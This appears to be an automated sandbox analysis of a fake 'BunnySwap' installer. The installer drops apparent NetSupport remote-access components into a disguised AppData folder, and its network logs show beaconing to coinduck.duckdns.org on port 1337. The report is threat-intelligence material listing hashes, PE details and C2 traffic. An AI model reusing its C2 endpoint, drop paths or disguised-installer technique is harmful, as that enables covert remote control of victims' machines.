SHA-512:	97D91945D2F90594505CE67E2CE6F9BF4CFABE7EC5A0461AC5BF82C8BD1094308C99A02D4CC25276DC9701C8109AFE1F69726964F2E06DCE98F005F0E8F5EC49
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x................................a*....@..........................H......d...(........................$......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\nskbfltr.inf (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Windows setup INFormation, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\WindowsUserCerts\nsm_vpro.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\WindowsUserCerts\pcicapi.dll (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31760
Entropy (8bit):	6.627298416859231
Encrypted:	false
SSDEEP:	768:sFvNhAyi5hHA448qZkSn+EgTL0FizKgu2:sCyoHA448qSSzgf0F+k2
MD5:	191BD0CC859E47AAA7C5195F58F56D4E
SHA1:	C2D91B7688AB3D4FBC08DC8DF895323CA2C47460
SHA-256:	3D30CAF999BBD1C39B681F4782C2F703C02B9956C4A77D7D531E20CA02FFAA29
SHA-512:	9C876AFDC1B3CAB2C01D1D369D6C532EDC4377876ED95F324E0E638860852D41052796A16F7314EF922BB7FF6EDB9F3687F6EDFB342B6524951906340C614B08
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`......or....@..........................^.......W..d....@..x............X...$...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\remcmdstub.exe (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73808
Entropy (8bit):	6.590203491308523
Encrypted:	false
SSDEEP:	1536:uf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQw+z2qzkWXi:o6f7cjJ4U4I1jFqy92T1gg
MD5:	8AD660F867C54740021E61F16B826813
SHA1:	26729B288218C341FDD3831D9557D87C3AED8C64
SHA-256:	52719D8FF086E4136C06C46F788A02A6E995EA25A2DD50EEAB129E4347284EE3
SHA-512:	88290218F38FC20820C5B6B05DB021F4160B19C8430BD97A4715B3BF1BB99106583A3CBC93C1E0414FFDAFFD88646CF3940F796196D9FB04CED6319F9BADBF44
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......C....@....................................<.......T...............HA..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115792
Entropy (8bit):	5.027220112383088
Encrypted:	false
SSDEEP:	768:qvVZl6FhWr80/ggG1ItzkPKgcPzXUriXiRy:qr0hGIgxtz2qzkWXi
MD5:	5C25D0078A58280BE572BFE68F5FE73C
SHA1:	47F2BCC1E9405B863CCE67BCAC6A4A77EF957050
SHA-256:	0EC80B42EE511C5970C8810B9079DF07761E4C528E493EA6F73B36D2D3A61E32
SHA-512:	654F9101067A58210E9B6CFD1A57BFE4572B08FA8381BD1D1B454C971E8ACDF735DDF6333B94355A789FFD384FF41E5925AFF295315EE3A5058B207137E0329B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i..............HA.......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.877573942160157
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iumk21HlC8.exe
File size:	3634320
MD5:	247e8d7c97da1778e87233b14e27d7b0
SHA1:	355362876088aa1859bbd1ec9612c8722f3cdbd7
SHA256:	7a5f2afe726768008f80860aa992e56e01cb609d6a0510348a528182ae4ad8d1
SHA512:	3016bb3550979c1ec4895bd6905b74e7c7fe789d41ddcf944958686d4f67b10b2d61b3f629a4a098b89c2a0912b43e50493d248bf0350d611f73b0dbf7909c90
SSDEEP:	98304:QmYkk/dwG9dx8s/2gEY131oV0oAVSSH931:tYkWwGnx8C2zq31He
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	6d6c6868cccce8b3

Static PE Info

General
Entrypoint:	0x41ea80
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5EF47EA0 [Thu Jun 25 10:38:24 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert EV Code Signing CA (SHA2), OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	7/1/2019 2:00:00 AM 7/6/2022 2:00:00 PM
Subject Chain	CN=GetScatter Ltd., OU=Product, O=GetScatter Ltd., L=Sliema, C=MT, SERIALNUMBER=C 89452, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=MT
Version:	3
Thumbprint MD5:	56207E1EC6934333A7DB091B1690E850
Thumbprint SHA-1:	31F52C1E030737D8BB0DCF6E3B3EC25D030396AF
Thumbprint SHA-256:	484C210301F9F02E0836160D51D7A634DC177C5043ADAF6D7A5DBC84E28AB7F1
Serial:	016558F3759AB455D5497251C51FF8F6

Entrypoint Preview

Instruction
call 00007FE73890F8E9h
jmp 00007FE73890F2EDh
cmp ecx, dword ptr [0043D668h]
jne 00007FE73890F465h
ret
jmp 00007FE73890FA6Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FE738902317h
mov dword ptr [esi], 00434560h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00434568h
mov dword ptr [ecx], 00434560h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00434548h
push eax
call 00007FE738912607h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FE73890F46Ch
push 0000000Ch
push esi
call 00007FE73890EA34h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FE738902292h
push 0043A6A4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FE738911D06h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FE73890F3E8h
push 0043A8FCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FE738911CE9h
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[EXP] VS2015 UPD3.1 build 24215
[LNK] VS2015 UPD3.1 build 24215
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3b800	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b834	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x46968	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x373348	0x4148
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa9000	0x2264	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39aa0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x344e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x32000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3ada4	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x30f2a	0x31000	False	0.583775111607	data	6.70442014047	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x32000	0xa5f2	0xa600	False	0.457996046687	data	5.25929700377	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x23720	0x1000	False	0.367431640625	data	3.70567903528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.didat	0x61000	0x188	0x200	False	0.443359375	data	3.29950886768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x62000	0x46968	0x46a00	False	0.151144220133	data	4.72541092172	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa9000	0x2264	0x2400	False	0.772786458333	data	6.55674694766	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
PNG	0x62524	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States
PNG	0x6306c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States
RT_ICON	0x64618	0x42028	data
RT_DIALOG	0xa6640	0x286	data	English	United States
RT_DIALOG	0xa68c8	0x13a	data	English	United States
RT_DIALOG	0xa6a04	0xec	data	English	United States
RT_DIALOG	0xa6af0	0x12e	data	English	United States
RT_DIALOG	0xa6c20	0x338	data	English	United States
RT_DIALOG	0xa6f58	0x252	data	English	United States
RT_STRING	0xa71ac	0x1e2	data	English	United States
RT_STRING	0xa7390	0x1cc	data	English	United States
RT_STRING	0xa755c	0x1b8	data	English	United States
RT_STRING	0xa7714	0x146	Hitachi SH big-endian COFF object file, not stripped, 17152 sections, symbol offset=0x73006500	English	United States
RT_STRING	0xa785c	0x446	data	English	United States
RT_STRING	0xa7ca4	0x166	data	English	United States
RT_STRING	0xa7e0c	0x152	data	English	United States
RT_STRING	0xa7f60	0x10a	data	English	United States
RT_STRING	0xa806c	0xbc	data	English	United States
RT_STRING	0xa8128	0xd6	data	English	United States
RT_GROUP_ICON	0xa8200	0x14	data
RT_MANIFEST	0xa8214	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2021 23:40:50.751297951 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:40:50.777530909 CEST	1337	49746	188.165.207.8	192.168.2.4
Aug 5, 2021 23:40:50.777730942 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:40:51.657938004 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:40:51.686830997 CEST	1337	49746	188.165.207.8	192.168.2.4
Aug 5, 2021 23:40:51.692610025 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:40:51.710478067 CEST	49747	80	192.168.2.4	62.172.138.35
Aug 5, 2021 23:40:51.722346067 CEST	1337	49746	188.165.207.8	192.168.2.4
Aug 5, 2021 23:40:51.723800898 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:40:51.755986929 CEST	80	49747	62.172.138.35	192.168.2.4
Aug 5, 2021 23:40:51.756169081 CEST	49747	80	192.168.2.4	62.172.138.35
Aug 5, 2021 23:40:51.756839991 CEST	49747	80	192.168.2.4	62.172.138.35
Aug 5, 2021 23:40:51.799673080 CEST	1337	49746	188.165.207.8	192.168.2.4
Aug 5, 2021 23:40:51.804966927 CEST	80	49747	62.172.138.35	192.168.2.4
Aug 5, 2021 23:40:51.805128098 CEST	49747	80	192.168.2.4	62.172.138.35
Aug 5, 2021 23:41:51.968988895 CEST	49746	1337	192.168.2.4	188.165.207.8
Aug 5, 2021 23:41:52.046473980 CEST	1337	49746	188.165.207.8	192.168.2.4
Aug 5, 2021 23:42:40.394452095 CEST	49747	80	192.168.2.4	62.172.138.35
Aug 5, 2021 23:42:40.444331884 CEST	80	49747	62.172.138.35	192.168.2.4
Aug 5, 2021 23:42:40.444592953 CEST	49747	80	192.168.2.4	62.172.138.35

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2021 23:40:31.424686909 CEST	62389	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:31.452646971 CEST	53	62389	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:32.257292032 CEST	49910	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:32.284128904 CEST	53	49910	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:33.053462029 CEST	55854	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:33.088648081 CEST	53	55854	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:33.551645994 CEST	64549	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:33.592454910 CEST	53	64549	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:34.006956100 CEST	63153	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:34.035362959 CEST	53	63153	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:34.757314920 CEST	52991	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:34.782119036 CEST	53	52991	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:35.995599031 CEST	53700	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:36.050206900 CEST	53	53700	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:36.915761948 CEST	51726	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:36.941953897 CEST	53	51726	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:37.912059069 CEST	56794	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:37.952362061 CEST	53	56794	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:40.144191027 CEST	56534	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:40.170219898 CEST	53	56534	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:41.120877028 CEST	56627	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:41.156327963 CEST	53	56627	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:42.739190102 CEST	56621	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:42.771603107 CEST	53	56621	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:43.621392965 CEST	63116	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:43.651809931 CEST	53	63116	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:44.487266064 CEST	64078	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:44.515028000 CEST	53	64078	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:45.947021008 CEST	64801	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:45.975387096 CEST	53	64801	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:46.939254045 CEST	61721	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:46.974899054 CEST	53	61721	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:48.012703896 CEST	51255	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:48.037808895 CEST	53	51255	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:48.818933010 CEST	61522	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:48.854180098 CEST	53	61522	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:49.842103958 CEST	52337	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:49.869834900 CEST	53	52337	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:50.328367949 CEST	55046	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:50.457562923 CEST	53	55046	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:51.664827108 CEST	49612	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:51.701972961 CEST	53	49612	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:57.563519001 CEST	49285	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:57.589088917 CEST	53	49285	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:57.734066963 CEST	50601	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:57.763386011 CEST	53	50601	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:57.840524912 CEST	60875	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:57.875808001 CEST	53	60875	8.8.8.8	192.168.2.4
Aug 5, 2021 23:40:59.464378119 CEST	56448	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:40:59.490330935 CEST	53	56448	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:04.325748920 CEST	59172	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:04.361912966 CEST	53	59172	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:25.087388039 CEST	62420	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:25.168333054 CEST	53	62420	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:25.838629961 CEST	60579	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:25.874219894 CEST	53	60579	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:26.686645985 CEST	50183	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:26.723380089 CEST	53	50183	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:26.919549942 CEST	61531	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:26.954888105 CEST	53	61531	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:27.120593071 CEST	49228	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:27.160089970 CEST	53	49228	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:27.595325947 CEST	59794	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:27.632702112 CEST	53	59794	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:27.860099077 CEST	55916	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:27.895260096 CEST	53	55916	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:28.334450006 CEST	52752	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:28.367192030 CEST	53	52752	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:28.902331114 CEST	60542	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:28.935132027 CEST	53	60542	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:29.761836052 CEST	60689	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:29.798672915 CEST	53	60689	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:30.711194992 CEST	64206	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:30.743663073 CEST	53	64206	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:31.117933989 CEST	50904	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:31.145649910 CEST	53	50904	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:39.030659914 CEST	57525	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:39.065870047 CEST	53	57525	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:39.153753996 CEST	53814	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:39.198712111 CEST	53	53814	8.8.8.8	192.168.2.4
Aug 5, 2021 23:41:41.391328096 CEST	53418	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:41:41.423886061 CEST	53	53418	8.8.8.8	192.168.2.4
Aug 5, 2021 23:42:15.431571960 CEST	62833	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:42:15.480051041 CEST	53	62833	8.8.8.8	192.168.2.4
Aug 5, 2021 23:42:16.892187119 CEST	59260	53	192.168.2.4	8.8.8.8
Aug 5, 2021 23:42:16.942200899 CEST	53	59260	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 5, 2021 23:40:50.328367949 CEST	192.168.2.4	8.8.8.8	0x5921	Standard query (0)	coinduck.duckdns.org	A (IP address)	IN (0x0001)
Aug 5, 2021 23:40:51.664827108 CEST	192.168.2.4	8.8.8.8	0x759e	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 5, 2021 23:40:50.457562923 CEST	8.8.8.8	192.168.2.4	0x5921	No error (0)	coinduck.duckdns.org		188.165.207.8	A (IP address)	IN (0x0001)
Aug 5, 2021 23:40:51.701972961 CEST	8.8.8.8	192.168.2.4	0x759e	No error (0)	geo.netsupportsoftware.com	geography.netsupportsoftware.com		CNAME (Canonical name)	IN (0x0001)
Aug 5, 2021 23:40:51.701972961 CEST	8.8.8.8	192.168.2.4	0x759e	No error (0)	geography.netsupportsoftware.com		62.172.138.35	A (IP address)	IN (0x0001)
Aug 5, 2021 23:40:51.701972961 CEST	8.8.8.8	192.168.2.4	0x759e	No error (0)	geography.netsupportsoftware.com		195.171.92.116	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

188.165.207.8connection: keep-alivecmd=pollinfo=1ack=1

188.165.207.8connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6raldeg#rtr5=ifksjds(mqyz8gfv{rsm%=n;rue'_$b(k,warhe*9w_z8a ]

188.165.207.8connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$cwu-=i?sq

geo.netsupportsoftware.com

188.165.207.8connection: keep-alivecmd=encdes=1data=#mhuaag

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49746	188.165.207.8	1337	C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

